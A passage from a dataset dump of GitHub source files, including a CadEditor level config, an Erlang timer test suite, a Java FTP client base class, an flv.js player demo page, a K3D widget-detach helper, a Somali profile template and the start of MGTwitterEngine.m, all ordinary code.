text
stringlengths 2
100k
| meta
dict |
---|---|
using CadEditor;
using System;
//css_include shadow_of_the_ninja/ShadowUtils.cs;
public class Data
{
public OffsetRec getScreensOffset() { return new OffsetRec(0xe696, 2 , 8*8, 8, 8); }
public bool isBigBlockEditorEnabled() { return true; }
public bool isBlockEditorEnabled() { return true; }
public bool isEnemyEditorEnabled() { return false; }
public GetVideoPageAddrFunc getVideoPageAddrFunc() { return getVideoAddress; }
public GetVideoChunkFunc getVideoChunkFunc() { return getVideoChunk; }
public SetVideoChunkFunc setVideoChunkFunc() { return null; }
public OffsetRec getBlocksOffset() { return new OffsetRec(0xfe06, 1 , 0x1000); }
public int getBlocksCount() { return 64; }
public OffsetRec getBigBlocksOffset() { return new OffsetRec(0xfee6, 1 , 0x1000); }
public int getBigBlocksCount() { return 256; }
public GetBlocksFunc getBlocksFunc() { return ShadowUtils.getBlocks;}
public SetBlocksFunc setBlocksFunc() { return ShadowUtils.setBlocks;}
public GetBigBlocksFunc getBigBlocksFunc() { return ShadowUtils.getBigBlocks;}
public SetBigBlocksFunc setBigBlocksFunc() { return ShadowUtils.setBigBlocks;}
public GetPalFunc getPalFunc() { return getPallete;}
public SetPalFunc setPalFunc() { return null;}
//----------------------------------------------------------------------------
public byte[] getPallete(int palId)
{
return Utils.readBinFile("pal2-3.bin");
}
public int getVideoAddress(int id)
{
return -1;
}
public byte[] getVideoChunk(int videoPageId)
{
return Utils.readVideoBankFromFile("chr2-3.bin", videoPageId);
}
} | {
"pile_set_name": "Github"
} |
%%
%% %CopyrightBegin%
%%
%% Copyright Ericsson AB 1997-2016. All Rights Reserved.
%%
%% Licensed under the Apache License, Version 2.0 (the "License");
%% you may not use this file except in compliance with the License.
%% You may obtain a copy of the License at
%%
%% http://www.apache.org/licenses/LICENSE-2.0
%%
%% Unless required by applicable law or agreed to in writing, software
%% distributed under the License is distributed on an "AS IS" BASIS,
%% WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
%% See the License for the specific language governing permissions and
%% limitations under the License.
%%
%% %CopyrightEnd%
%%
%%% Purpose : Test the timer module a simpler/faster test than timer_SUITE
-module(timer_simple_SUITE).
%% external
-export([all/0, suite/0,groups/0,init_per_suite/1, end_per_suite/1,
init_per_group/2,end_per_group/2,
init_per_testcase/2,
apply_after/1,
send_after1/1,
send_after2/1,
send_after3/1,
exit_after1/1,
exit_after2/1,
kill_after1/1,
kill_after2/1,
apply_interval/1,
send_interval1/1,
send_interval2/1,
send_interval3/1,
send_interval4/1,
cancel1/1,
cancel2/1,
tc/1,
unique_refs/1,
timer_perf/1]).
%% internal
-export([forever/0,
do_nrev/2,
send/2,
timer/4,
timer/5]).
-include_lib("common_test/include/ct.hrl").
-define(MAXREF, (1 bsl 18)).
-define(REFMARG, 30).
suite() ->
[{ct_hooks,[ts_install_cth]},
{timetrap,{minutes,10}}].
all() ->
[apply_after, send_after1, send_after2, send_after3,
exit_after1, exit_after2, kill_after1, kill_after2,
apply_interval, send_interval1, send_interval2,
send_interval3, send_interval4, cancel1, cancel2, tc,
unique_refs, timer_perf].
groups() ->
[].
init_per_suite(Config) ->
Config.
end_per_suite(_Config) ->
ok.
init_per_group(_GroupName, Config) ->
Config.
end_per_group(_GroupName, Config) ->
Config.
init_per_testcase(_, Config) when is_list(Config) ->
timer:start(),
Config.
%% Testing timer interface!!
%% Test of apply_after, with sending of message.
apply_after(Config) when is_list(Config) ->
timer:apply_after(500, ?MODULE, send, [self(), ok_apply]),
ok = get_mess(1000, ok_apply).
%% Test of send_after with time = 0.
send_after1(Config) when is_list(Config) ->
timer:send_after(0, ok_send1),
ok = get_mess(1000, ok_send1).
%% Test of send_after with time = 500.
send_after2(Config) when is_list(Config) ->
timer:send_after(500, self(), ok_send2),
ok = get_mess(2000, ok_send2).
%% Test of send_after with time = 500, with receiver a registered
%% process. [OTP-2735]
send_after3(Config) when is_list(Config) ->
Name = list_to_atom(pid_to_list(self())),
register(Name, self()),
timer:send_after(500, Name, ok_send3),
ok = get_mess(2000, ok_send3),
unregister(Name).
%% Test of exit_after with time = 1000.
exit_after1(Config) when is_list(Config) ->
process_flag(trap_exit, true),
Pid = spawn_link(?MODULE, forever, []),
timer:exit_after(1000, Pid, exit_test1),
ok = get_mess(5000, {'EXIT', Pid, exit_test1}).
%% Test of exit_after with time = 1000. The process to exit is the
%% name of a registered process. [OTP-2735]
exit_after2(Config) when is_list(Config) ->
process_flag(trap_exit, true),
Pid = spawn_link(?MODULE, forever, []),
Name = list_to_atom(pid_to_list(Pid)),
register(Name, Pid),
timer:exit_after(1000, Name, exit_test2),
ok = get_mess(2000, {'EXIT', Pid, exit_test2}).
%% Test of kill_after with time = 1000.
kill_after1(Config) when is_list(Config) ->
process_flag(trap_exit, true),
Pid = spawn_link(?MODULE, forever, []),
timer:kill_after(1000, Pid),
ok = get_mess(2000, {'EXIT', Pid, killed}).
%% Test of kill_after with time = 1000. The process to exit is the
%% name of a registered process. [OTP-2735]
kill_after2(Config) when is_list(Config) ->
process_flag(trap_exit, true),
Pid = spawn_link(?MODULE, forever, []),
Name = list_to_atom(pid_to_list(Pid)),
register(Name, Pid),
timer:kill_after(1000, Name),
ok = get_mess(2000, {'EXIT', Pid, killed}).
%% Test of apply_interval by sending messages. Receive
%% 3 messages, cancel the timer, and check that we do
%% not get any more messages.
apply_interval(Config) when is_list(Config) ->
{ok, Ref} = timer:apply_interval(1000, ?MODULE, send,
[self(), apply_int]),
ok = get_mess(1500, apply_int, 3),
timer:cancel(Ref),
nor = get_mess(1000, apply_int).
%% Test of send_interval/2. Receive 5 messages, cancel the timer, and
%% check that we do not get any more messages.
send_interval1(Config) when is_list(Config) ->
{ok, Ref} = timer:send_interval(1000, send_int),
ok = get_mess(1500, send_int, 5),
timer:cancel(Ref),
nor = get_mess(1000, send_int). % We should receive only five
%% Test of send_interval/3. Receive 2 messages, cancel the timer, and
%% check that we do not get any more messages.
send_interval2(Config) when is_list(Config) ->
{ok, Ref} = timer:send_interval(1000, self(), send_int2),
ok = get_mess(1500, send_int2, 2),
timer:cancel(Ref),
nor = get_mess(1000, send_int2). % We should receive only two
%% Test of send_interval/3. Receive 2 messages, cancel the timer, and
%% check that we do not get any more messages. The receiver is the
%% name of a registered process. [OTP-2735]
send_interval3(Config) when is_list(Config) ->
process_flag(trap_exit, true),
Name = list_to_atom(pid_to_list(self())),
register(Name, self()),
{ok, Ref} = timer:send_interval(1000, Name, send_int3),
ok = get_mess(1500, send_int3, 2),
timer:cancel(Ref),
nor = get_mess(1000, send_int3), % We should receive only two
unregister(Name).
%% Test that send interval stops sending msg when the receiving
%% process terminates.
send_interval4(Config) when is_list(Config) ->
timer:send_interval(500, one_time_only),
receive
one_time_only -> ok
end,
timer_server ! {'EXIT', self(), normal}, % Should remove the timer
timer:send_after(600, send_intv_ok),
send_intv_ok = receive
Msg -> Msg
end.
%% Test that we can cancel a timer.
cancel1(Config) when is_list(Config) ->
{ok, Ref} = timer:send_after(1000, this_should_be_canceled),
timer:cancel(Ref),
nor = get_mess(2000, this_should_be_canceled). % We should rec 0 msgs
%% Test cancel/1 with bad argument.
cancel2(Config) when is_list(Config) ->
{error, badarg} = timer:cancel(no_reference).
%% Test sleep/1 and tc/3.
tc(Config) when is_list(Config) ->
%% This should test both sleep and tc/3
{Res1, ok} = timer:tc(timer, sleep, [500]),
ok = if
Res1 < 500*1000 -> {too_early, Res1}; % Too early
Res1 > 800*1000 -> {too_late, Res1}; % Too much time
true -> ok
end,
%% tc/2
{Res2, ok} = timer:tc(fun(T) -> timer:sleep(T) end, [500]),
ok = if
Res2 < 500*1000 -> {too_early, Res2}; % Too early
Res2 > 800*1000 -> {too_late, Res2}; % Too much time
true -> ok
end,
%% tc/1
{Res3, ok} = timer:tc(fun() -> timer:sleep(500) end),
ok = if
Res3 < 500*1000 -> {too_early, Res3}; % Too early
Res3 > 800*1000 -> {too_late, Res3}; % Too much time
true -> ok
end,
%% Check that timer:tc don't catch errors
ok = try timer:tc(erlang, exit, [foo])
catch exit:foo -> ok
end,
ok = try timer:tc(fun(Reason) -> 1 = Reason end, [foo])
catch error:{badmatch,_} -> ok
end,
ok = try timer:tc(fun() -> throw(foo) end)
catch foo -> ok
end,
%% Check that return values are propageted
Self = self(),
{_, Self} = timer:tc(erlang, self, []),
{_, Self} = timer:tc(fun(P) -> P end, [self()]),
{_, Self} = timer:tc(fun() -> self() end),
Sec = timer:seconds(4),
Min = timer:minutes(4),
Hour = timer:hours(4),
MyRes = 4*1000 + 4*60*1000 + 4*60*60*1000,
if MyRes == Sec + Min + Hour -> ok end,
TimerRes = timer:hms(4,4,4),
if MyRes == TimerRes -> ok end,
ok.
%% Test that cancellations of one-shot timers do not accidentally
%% cancel interval timers. [OTP-2771].
unique_refs(Config) when is_list(Config) ->
ITimers = repeat_send_interval(10), % 10 interval timers
eat_refs(?MAXREF - ?REFMARG),
set_and_cancel_one_shots(?REFMARG),
NumLeft = num_timers(),
io:format("~w timers left, should be 10\n", [NumLeft]),
cancel(ITimers),
receive_nisse(),
10 = NumLeft.
repeat_send_interval(0) ->
[];
repeat_send_interval(M) ->
{ok, Ref} = timer:send_interval(6000,self(), nisse),
[Ref| repeat_send_interval(M - 1)].
eat_refs(0) ->
0;
eat_refs(N) ->
_ = make_ref(),
eat_refs(N-1).
set_and_cancel_one_shots(0) ->
0;
set_and_cancel_one_shots(N) ->
{ok, Ref} = timer:send_after(7000, self(), kalle),
%% Cancel twice
timer:cancel(Ref),
timer:cancel(Ref),
set_and_cancel_one_shots(N-1).
cancel([T| Ts]) ->
timer:cancel(T),
cancel(Ts);
cancel([]) ->
ok.
num_timers() ->
{{_, TotalTimers},{_, _IntervalTimers}} = timer:get_status(),
TotalTimers.
receive_nisse() ->
receive
nisse ->
receive_nisse()
after 0 ->
ok
end.
get_mess(Time, Mess) -> get_mess(Time, Mess, 1).
get_mess(_, _, 0) -> ok; % Received
get_mess(Time, Mess, N) ->
receive
Mess -> get_mess(Time, Mess, N-1)
after Time
-> nor % Not Received
end.
forever() ->
timer:sleep(1000),
forever().
%%
%% Testing for performance (on different implementations) of timers
%%
timer_perf(Config) when is_list(Config) ->
performance(timer).
performance(Mod) ->
process_flag(trap_exit, true),
{Y,Mo,D} = date(),
{H,M,S} = time(),
io:format("Testing module '~p' Date: ~w/~w/~w ~w:~w:~w~n",
[Mod,Y,Mo,D,H,M,S]),
Result = big_test(Mod),
report_result(Result).
big_test(M) ->
Load_Pids = start_nrev(20, M), % Increase if more load wanted :)
LPids = spawn_timers(5, M, 10000, 5),
apply(M, sleep, [4000]),
MPids = spawn_timers(10, M, 1000, 6),
apply(M, sleep, [3500]),
SPids = spawn_timers(15, M, 100, 3),
Res = wait(SPids ++ MPids ++ LPids, [], 0, M),
lists:foreach(fun(Pid) -> exit(Pid, kill) end, Load_Pids),
Res.
wait([], Res, N, _) ->
{Res, N};
wait(Pids, ResList, N, M) ->
receive
{Pid, ok, Res, T} ->
wait(lists:delete(Pid, Pids), [{T, Res} | ResList], N, M);
{Pid, Error}->
ct:fail(Error),
wait(lists:delete(Pid, Pids), ResList, N+1, M);
{'EXIT', Pid, normal} ->
wait(lists:delete(Pid, Pids), ResList, N, M);
{'EXIT', Pid, Reason} ->
ct:fail({Pid,Reason})
end.
spawn_timers(0, _, _, _) ->
[];
spawn_timers(N, M, T, NumIter) ->
apply(M, sleep, [120*N]),
Pid1 = spawn_link(?MODULE, timer, [apply, M, T, self()]),
Pid2 = spawn_link(?MODULE, timer, [interval, M, T, self(), NumIter]),
[Pid1, Pid2 | spawn_timers(N-1, M, T, NumIter)].
timer(apply, Mod, T, Pid) ->
Before = system_time(),
{ok, Ref} = apply(Mod, apply_after, [T, ?MODULE, send, [self(), done]]),
receive
done ->
After = system_time(),
Pid ! {self(), ok, (After-Before) div 1000, T}
after T*3 + 300 -> % Watch dog
io:format("WARNING TIMER WATCHDOG timed out: ~w ~n", [T]),
timer:cancel(Ref),
Pid ! {self(), watch_dog_timed_out}
end.
timer(interval, Mod, T, Pid, NumIter) ->
Before = system_time(),
{ok, Ref} = apply(Mod, apply_interval, [T, ?MODULE, send, [self(), done]]),
timer_irec(Before, T, {0, NumIter}, [], {Pid, Mod, Ref}).
timer_irec(_Start, T, {N, N}, Res, {Pid, Mod, Ref}) ->
apply(Mod, cancel, [Ref]),
Min = lists:min(Res),
Max = lists:max(Res),
Tot = lists:sum(Res),
Pid ! {self(), ok, {N, Tot, Tot div N, Min, Max}, T};
timer_irec(Start, T, {N, Max}, Res, {Pid, Mod, Ref}) ->
receive
done ->
Now = system_time(),
Elapsed = (Now - (Start + (N*T*1000))) div 1000,
timer_irec(Start, T,
{N+1, Max},
[Elapsed | Res],
{Pid, Mod, Ref})
after T*3 + 300 ->
apply(Mod, cancel, [Ref]),
io:format("WARNING: TIMER WATCHDOG timed out <Interval>~w~n",[T]),
Pid ! {self(), timer_watchdog_timed_out_in_interlval_test}
end.
%% ------------------------------------------------------- %%
%% Small last generator
start_nrev(0, _) ->
[];
start_nrev(N, M) ->
Pid = spawn_link(?MODULE, do_nrev, [N, M]),
[Pid | start_nrev(N-1, M)].
do_nrev(Sleep, Mod) ->
apply(Mod, sleep, [50 * Sleep]),
test(1000,"abcdefghijklmnopqrstuvxyz1234"),
ok.
test(0,_) ->
true;
test(N,L) ->
nrev(L),
test(N - 1, L).
nrev([]) ->
[];
nrev([H|T]) ->
append(nrev(T), [H]).
append([H|T],Z) ->
[H|append(T,Z)];
append([],X) ->
X.
system_time() ->
erlang:monotonic_time(microsecond).
%% ------------------------------------------------------- %%
report_result({Res, 0}) ->
{A_List, I_List} = split_list(Res, [], []),
A_val = calc_a_val(A_List),
I_val = calc_i_val(I_List),
print_report(A_val, I_val),
ok;
report_result({Head, N}) ->
io:format("Test Failed: Number of internal tmo ~w~n", [N]),
ct:fail({Head, N}).
split_list([], AL, IL) ->
{AL, IL};
split_list([{T, {N, Tot, A, Min, Max}} | Rest], AL, IL) ->
split_list(Rest, AL, [{T, {N, Tot, A, Min, Max}} | IL]);
split_list([Head | Rest], AL, IL) ->
split_list(Rest, [Head | AL], IL).
split([{T, Res} | R]) ->
split(R, {{T,[Res]}, {T*10,[]}, {T*100,[]}}).
split([{T, Res} | R], {{T,S}, M, L}) ->
split(R, {{T,[Res|S]}, M, L});
split([{T, Res} | R], {S, {T,M}, L}) ->
split(R, {S, {T, [Res|M]}, L});
split([{T, Res} | R], {S, M, {T,L}}) ->
split(R, {S, M, {T, [Res|L]}});
split(_Done, Vals) ->
Vals.
calc_a_val(List) ->
New = lists:sort(List),
{{T1, S}, {T2, M}, {T3, L}} = split(New),
S2 = {length(S), lists:max(S), lists:min(S),
lists:sum(S) div length(S)},
M2 = {length(M), lists:max(M), lists:min(M),
lists:sum(M) div length(M)},
L2 = {length(L), lists:max(L), lists:min(L),
lists:sum(L) div length(L)},
[{T1, S2}, {T2, M2}, {T3, L2}].
calc_i_val(List) ->
New = lists:sort(List),
{{T1, S}, {T2, M}, {T3, L}} = split(New),
S2 = get_ivals(S),
M2 = get_ivals(M),
L2 = get_ivals(L),
[{T1, S2}, {T2, M2}, {T3, L2}].
get_ivals(List) ->
Len = length(List),
Num = element(1, hd(List)), % Number of iterations
LTot = lists:map(fun(X) -> element(2, X) end, List),
LMin = lists:map(fun(X) -> element(4, X) end, List),
LMax = lists:map(fun(X) -> element(5, X) end, List),
MaxTot = lists:max(LTot),
MinTot = lists:min(LTot),
AverTot = lists:sum(LTot) div Len,
IterMax = lists:max(LMax),
IterMin = lists:min(LMin),
IterAver= AverTot div Num,
{Len, Num,
{MaxTot, MinTot, AverTot},
{IterMax, IterMin, IterAver}}.
print_report(A_L, I_L) ->
io:format("~nRESULTS from timer test~n~n",[]),
io:format("Time out times for send_after~n~n", []),
io:format("Time No of tests Max Min Average~n",[]),
print_aval(A_L),
io:format("Time out times for send_interval~n~n", []),
io:format("Time No.tests No.intvals TotMax TotMin TotAver MaxI MinI AverI~n", []),
print_ival(I_L).
print_aval([]) ->
io:format("~n~n", []);
print_aval([{T, {L, Max, Min, Aver}}|R]) ->
io:format("~5w ~8w ~6w ~6w ~8w ~n",
[T,L,Max,Min,Aver]),
print_aval(R).
print_ival([]) ->
io:format("~n", []);
print_ival([{T, {Len, Num,
{MaxT, MinT, AverT},
{MaxI, MinI, AverI}}}|R]) ->
io:format("~5w ~6w ~10w ~8w ~6w ~6w ~6w ~6w ~6w~n",
[T,Len,Num,MaxT,MinT,AverT, MaxI, MinI, AverI]),
print_ival(R).
send(Pid, Msg) ->
Pid ! Msg.
| {
"pile_set_name": "Github"
} |
namespace ClassLib069
{
public class Class046
{
public static string Property => "ClassLib069";
}
}
| {
"pile_set_name": "Github"
} |
package dev.dworks.apps.anexplorer.network;
import org.apache.commons.net.ftp.FTPFile;
import java.io.IOException;
import java.io.InputStream;
/**
* Created by HaKr on 02/01/17.
*/
public abstract class NetworkClient{
public abstract boolean logout() throws IOException;
public abstract boolean isConnected();
public abstract boolean isAvailable();
public abstract void disconnect() throws IOException;
public abstract boolean login(String username, String password) throws IOException;
public abstract boolean login(String username, String password, String account) throws IOException;
public abstract boolean connectClient() throws IOException ;
public abstract String getWorkingDirectory() throws IOException;
public abstract void changeWorkingDirectory(String pathname) throws IOException;
public abstract InputStream getInputStream(String fileName, String directory);
public abstract boolean createDirectories(final String directory) throws IOException;
public abstract boolean deleteFile(final String path) throws IOException;
public abstract FTPFile[] listFiles() throws IOException ;
public abstract boolean completePendingCommand() throws IOException ;
public static NetworkClient create(String scheme, String host, int port, String userName, String password) {
if(scheme.compareTo("ftp") == 0){
return new FTPNetworkClient(host, port, userName, password);
} else if(scheme.compareTo("ftps") == 0){
return new FTPSNetworkClient(host, port, userName, password);
}
return null;
}
}
| {
"pile_set_name": "Github"
} |
<!DOCTYPE html>
<html>
<head>
<meta content="text/html; charset=utf-8" http-equiv="Content-Type">
<title>flv.js demo</title>
<!-- <link rel="stylesheet" type="text/css" href="demo.css" /> -->
<style type="text/css">
.mainContainer {
display: block;
width: 100%;
margin-left: auto;
margin-right: auto;
}
@media screen and (min-width: 1152px) {
.mainContainer {
display: block;
width: 1152px;
margin-left: auto;
margin-right: auto;
}
}
.video-container {
position: relative;
margin-top: 8px;
}
.video-container:before {
display: block;
content: "";
width: 100%;
padding-bottom: 56.25%;
}
.video-container>div {
position: absolute;
top: 0;
left: 0;
right: 0;
bottom: 0;
}
.video-container video {
width: 100%;
height: 100%;
}
.urlInput {
display: block;
width: 100%;
margin-left: auto;
margin-right: auto;
margin-top: 8px;
margin-bottom: 8px;
}
.centeredVideo {
display: block;
width: 100%;
height: 100%;
margin-left: auto;
margin-right: auto;
margin-bottom: auto;
}
.controls {
display: block;
width: 100%;
text-align: left;
margin-left: auto;
margin-right: auto;
margin-top: 8px;
margin-bottom: 10px;
}
.logcatBox {
border-color: #CCCCCC;
font-size: 11px;
font-family: Menlo, Consolas, monospace;
display: block;
width: 100%;
text-align: left;
margin-left: auto;
margin-right: auto;
}
.url-input,
.options {
font-size: 13px;
}
.url-input {
display: flex;
}
.url-input label {
flex: initial;
}
.url-input input {
flex: auto;
margin-left: 8px;
}
.url-input button {
flex: initial;
margin-left: 8px;
}
.options {
margin-top: 5px;
}
.hidden {
display: none;
}
</style>
</head>
<body>
<div class="mainContainer">
<div>
<div id="streamURL">
<div class="url-input">
<label for="sURL">Stream URL:</label>
<input id="sURL" type="text" value="/static/download/VID20190517113037.mp4" />
<button onclick="switch_mds()">Switch to MediaDataSource</button>
</div>
<div class="options">
<input type="checkbox" id="isLive" onchange="saveSettings()" />
<label for="isLive">isLive</label>
<input type="checkbox" id="withCredentials" onchange="saveSettings()" />
<label for="withCredentials">withCredentials</label>
<input type="checkbox" id="hasAudio" onchange="saveSettings()" checked />
<label for="hasAudio">hasAudio</label>
<input type="checkbox" id="hasVideo" onchange="saveSettings()" checked />
<label for="hasVideo">hasVideo</label>
</div>
</div>
<div id="mediaSourceURL" class="hidden">
<div class="url-input">
<label for="msURL">MediaDataSource JsonURL:</label>
<input id="msURL" type="text" value="/static/download/flv.json" />
<button onclick="switch_url()">Switch to URL</button>
</div>
</div>
</div>
<div class="video-container">
<div>
<video name="videoElement" class="centeredVideo" controls autoplay>
Your browser is too old which doesn't support HTML5 video.
</video>
</div>
</div>
<div class="controls">
<button onclick="flv_load()">Load</button>
<button onclick="flv_start()">Start</button>
<button onclick="flv_pause()">Pause</button>
<button onclick="flv_destroy()">Destroy</button>
<input style="width:100px" type="text" name="seekpoint" />
<button onclick="flv_seekto()">SeekTo</button>
</div>
<!-- <textarea name="logcatbox" class="logcatBox" rows="10" readonly></textarea> -->
</div>
<script src="/static/js/flv.min.js"></script>
<script>
var checkBoxFields = ['isLive', 'withCredentials', 'hasAudio', 'hasVideo'];
var streamURL, mediaSourceURL;
function flv_load() {
console.log('isSupported: ' + flvjs.isSupported());
if (mediaSourceURL.className === '') {
var url = document.getElementById('msURL').value;
var xhr = new XMLHttpRequest();
xhr.open('GET', url, true);
xhr.onload = function(e) {
var mediaDataSource = JSON.parse(xhr.response);
flv_load_mds(mediaDataSource);
}
xhr.send();
} else {
var i;
var mediaDataSource = {
type: 'mp4'
};
for (i = 0; i < checkBoxFields.length; i++) {
var field = checkBoxFields[i];
/** @type {HTMLInputElement} */
var checkbox = document.getElementById(field);
mediaDataSource[field] = checkbox.checked;
}
mediaDataSource['url'] = document.getElementById('sURL').value;
console.log('MediaDataSource', mediaDataSource);
flv_load_mds(mediaDataSource);
}
}
function flv_load_mds(mediaDataSource) {
var element = document.getElementsByName('videoElement')[0];
if (typeof player !== "undefined") {
if (player != null) {
player.unload();
player.detachMediaElement();
player.destroy();
player = null;
}
}
player = flvjs.createPlayer(mediaDataSource, {
enableWorker: false,
lazyLoadMaxDuration: 3 * 60,
seekType: 'range',
});
player.attachMediaElement(element);
player.load();
}
function flv_start() {
player.play();
}
function flv_pause() {
player.pause();
}
function flv_destroy() {
player.pause();
player.unload();
player.detachMediaElement();
player.destroy();
player = null;
}
function flv_seekto() {
var input = document.getElementsByName('seekpoint')[0];
player.currentTime = parseFloat(input.value);
}
function switch_url() {
streamURL.className = '';
mediaSourceURL.className = 'hidden';
saveSettings();
}
function switch_mds() {
streamURL.className = 'hidden';
mediaSourceURL.className = '';
saveSettings();
}
function ls_get(key, def) {
try {
var ret = localStorage.getItem('flvjs_demo.' + key);
if (ret === null) {
ret = def;
}
return ret;
} catch (e) {}
return def;
}
function ls_set(key, value) {
try {
localStorage.setItem('flvjs_demo.' + key, value);
} catch (e) {}
}
function saveSettings() {
if (mediaSourceURL.className === '') {
ls_set('inputMode', 'MediaDataSource');
} else {
ls_set('inputMode', 'StreamURL');
}
var i;
for (i = 0; i < checkBoxFields.length; i++) {
var field = checkBoxFields[i];
/** @type {HTMLInputElement} */
var checkbox = document.getElementById(field);
ls_set(field, checkbox.checked ? '1' : '0');
}
var msURL = document.getElementById('msURL');
var sURL = document.getElementById('sURL');
ls_set('msURL', msURL.value);
ls_set('sURL', sURL.value);
console.log('save');
}
function loadSettings() {
var i;
for (i = 0; i < checkBoxFields.length; i++) {
var field = checkBoxFields[i];
/** @type {HTMLInputElement} */
var checkbox = document.getElementById(field);
var c = ls_get(field, checkbox.checked ? '1' : '0');
checkbox.checked = c === '1' ? true : false;
}
var msURL = document.getElementById('msURL');
var sURL = document.getElementById('sURL');
msURL.value = ls_get('msURL', msURL.value);
sURL.value = ls_get('sURL', sURL.value);
if (ls_get('inputMode', 'StreamURL') === 'StreamURL') {
switch_url();
} else {
switch_mds();
}
}
function showVersion() {
var version = flvjs.version;
document.title = document.title + " (v" + version + ")";
}
var logcatbox = document.getElementsByName('logcatbox')[0];
flvjs.LoggingControl.addLogListener(function(type, str) {
logcatbox.value = logcatbox.value + str + '\n';
logcatbox.scrollTop = logcatbox.scrollHeight;
});
document.addEventListener('DOMContentLoaded', function() {
streamURL = document.getElementById('streamURL');
mediaSourceURL = document.getElementById('mediaSourceURL');
loadSettings();
showVersion();
flv_load();
});
</script>
</body>
</html> | {
"pile_set_name": "Github"
} |
'use strict';
var _ = require('./../../lodash');
function detachWindowGUI(gui, K3D) {
var newWindow,
intervalID,
originalDom = K3D.getWorld().targetDOMNode,
detachedDom = document.createElement('div'),
detachedDomText = 'K3D works in detached mode. Please close window or click on this text to attach it here.',
obj;
function removeByTagName(DOM, tag) {
var elements = DOM.getElementsByTagName(tag);
while (elements[0]) {
elements[0].parentNode.removeChild(elements[0]);
}
}
function reinitializeK3D(DOM) {
var newK3D, objects, world = K3D.getWorld();
newK3D = new K3D.constructor(K3D.Provider, DOM, K3D.parameters);
objects = world.K3DObjects.children.reduce(function (prev, object) {
prev.push(world.ObjectsListJson[object.K3DIdentifier]);
return prev;
}, []);
K3D.disable();
newK3D.load({objects: objects});
newK3D.setCamera(K3D.getWorld().controls.getCameraArray());
_.assign(K3D, newK3D);
}
function checkWindow() {
if (newWindow && newWindow.closed) {
clearInterval(intervalID);
attach();
}
}
function attach() {
if (newWindow) {
newWindow.close();
newWindow = null;
originalDom.removeChild(detachedDom);
reinitializeK3D(originalDom);
}
}
detachedDom.className = 'detachedInfo';
detachedDom.innerHTML = detachedDomText;
detachedDom.style.cssText = [
'cursor: pointer',
'padding: 2em'
].join(';');
obj = {
detachWidget: function () {
newWindow = window.open('', '_blank', 'width=800,height=600,resizable=1');
newWindow.document.body.innerHTML = require('./helpers/detachedWindowHtml');
// copy css
['k3d-katex', 'k3d-style', 'k3d-dat.gui'].forEach(function (id) {
newWindow.document.body.appendChild(
window.document.getElementById(id).cloneNode(true)
);
});
setTimeout(function () {
reinitializeK3D(newWindow.document.getElementById('canvasTarget'));
removeByTagName(originalDom, 'canvas');
removeByTagName(originalDom, 'div');
removeByTagName(originalDom, 'svg');
originalDom.appendChild(detachedDom);
}, 100);
newWindow.opener.addEventListener('unload', function () {
if (newWindow) {
newWindow.close();
}
}, false);
intervalID = setInterval(checkWindow, 500);
}
};
gui.add(obj, 'detachWidget').name('Detach widget');
detachedDom.addEventListener('click', function () {
attach();
}, false);
}
module.exports = detachWindowGUI;
| {
"pile_set_name": "Github"
} |
<!DOCTYPE html>
<html lang="en" data-navbar="/administrator/navbar-profile.html">
<head>
<meta charset="utf-8" />
<title translate="yes">Muuqaal ${profile.profileid}</title>
<link href="/public/pure-min.css" rel="stylesheet">
<link href="/public/content.css" rel="stylesheet">
<link href="/public/content-additional.css" rel="stylesheet">
<base target="_top" href="/">
</head>
<body>
<h1 translate="yes">Taariikhda</h1>
<table id="profiles-table" class="pure-table data-table">
<tbody id="${profile.profileid}">
<tr>
<th>ID</th>
<td>
<a href="/administrator/profile?profileid=${profile.profileid}">${profile.profileid}</a>
</td>
</tr>
<tr>
<th translate="yes">La abuuray</th>
<td>${profile.createdFormatted}</td>
</tr>
<tr id="full-name">
<th translate="yes">Magaca buuxa</th>
<td>${profile.firstName} ${profile.lastName}</td>
</tr>
<tr id="contact-email">
<th translate="yes">Xiriirka emaylka</th>
<td>
<a href="mailto:${profile.contactEmail}">${profile.contactEmail}</a>
</td>
</tr>
<tr id="display-name">
<th translate="yes">Muuji Magaca</th>
<td>${profile.displayName}</td>
</tr>
<tr id="display-email">
<th translate="yes">Muuji emaylka</th>
<td>
<a href="mailto:${profile.displayEmail}">${profile.displayEmail}</a>
</td>
</tr>
<tr id="dob">
<th translate="yes">Taariikhda Dhalashada</th>
<td>${profile.dob}</td>
</tr>
<tr id="phone">
<th translate="yes">Telefoon</th>
<td>${profile.phone}</td>
</tr>
<tr id="occupation">
<th translate="yes">Shaqo</th>
<td>${profile.occupation}</td>
</tr>
<tr id="location">
<th translate="yes">Goobta</th>
<td>${profile.location}</td>
</tr>
<tr id="company-name">
<th translate="yes">Magaca shirkadda</th>
<td>${profile.companyName}</td>
</tr>
<tr id="website">
<th translate="yes">Websaydh</th>
<td>
<a href="${profile.website}">${profile.website}</a>
</td>
</tr>
</tbody>
</table>
</body>
</html>
| {
"pile_set_name": "Github"
} |
//
// MGTwitterEngine.m
// MGTwitterEngine
//
// Created by Matt Gemmell on 10/02/2008.
// Copyright 2008 Instinctive Code.
//
#import "MGTwitterEngine.h"
#import "MGTwitterHTTPURLConnection.h"
#import "OAuthConsumer.h"
#import "NSData+Base64.h"
#ifndef USE_LIBXML
// if you wish to use LibXML, add USE_LIBXML=1 to "Precompiler Macros" in Project Info for all targets
# define USE_LIBXML 0
#endif
#if YAJL_AVAILABLE
#define API_FORMAT @"json"
#import "MGTwitterStatusesYAJLParser.h"
#import "MGTwitterMessagesYAJLParser.h"
#import "MGTwitterUsersYAJLParser.h"
#import "MGTwitterMiscYAJLParser.h"
#import "MGTwitterSearchYAJLParser.h"
#elif TOUCHJSON_AVAILABLE
#define API_FORMAT @"json"
#import "MGTwitterTouchJSONParser.h"
#else
#define API_FORMAT @"xml"
#if USE_LIBXML
#import "MGTwitterStatusesLibXMLParser.h"
#import "MGTwitterMessagesLibXMLParser.h"
#import "MGTwitterUsersLibXMLParser.h"
#import "MGTwitterMiscLibXMLParser.h"
#import "MGTwitterSocialGraphLibXMLParser.h"
#else
#import "MGTwitterStatusesParser.h"
#import "MGTwitterUsersParser.h"
#import "MGTwitterMessagesParser.h"
#import "MGTwitterMiscParser.h"
#import "MGTwitterSocialGraphParser.h"
#import "MGTwitterUserListsParser.h"
#endif
#endif
#define TWITTER_DOMAIN @"api.twitter.com/1"
#if YAJL_AVAILABLE || TOUCHJSON_AVAILABLE
#define TWITTER_SEARCH_DOMAIN @"search.twitter.com"
#endif
#define HTTP_POST_METHOD @"POST"
#define MAX_MESSAGE_LENGTH 140 // Twitter recommends tweets of max 140 chars
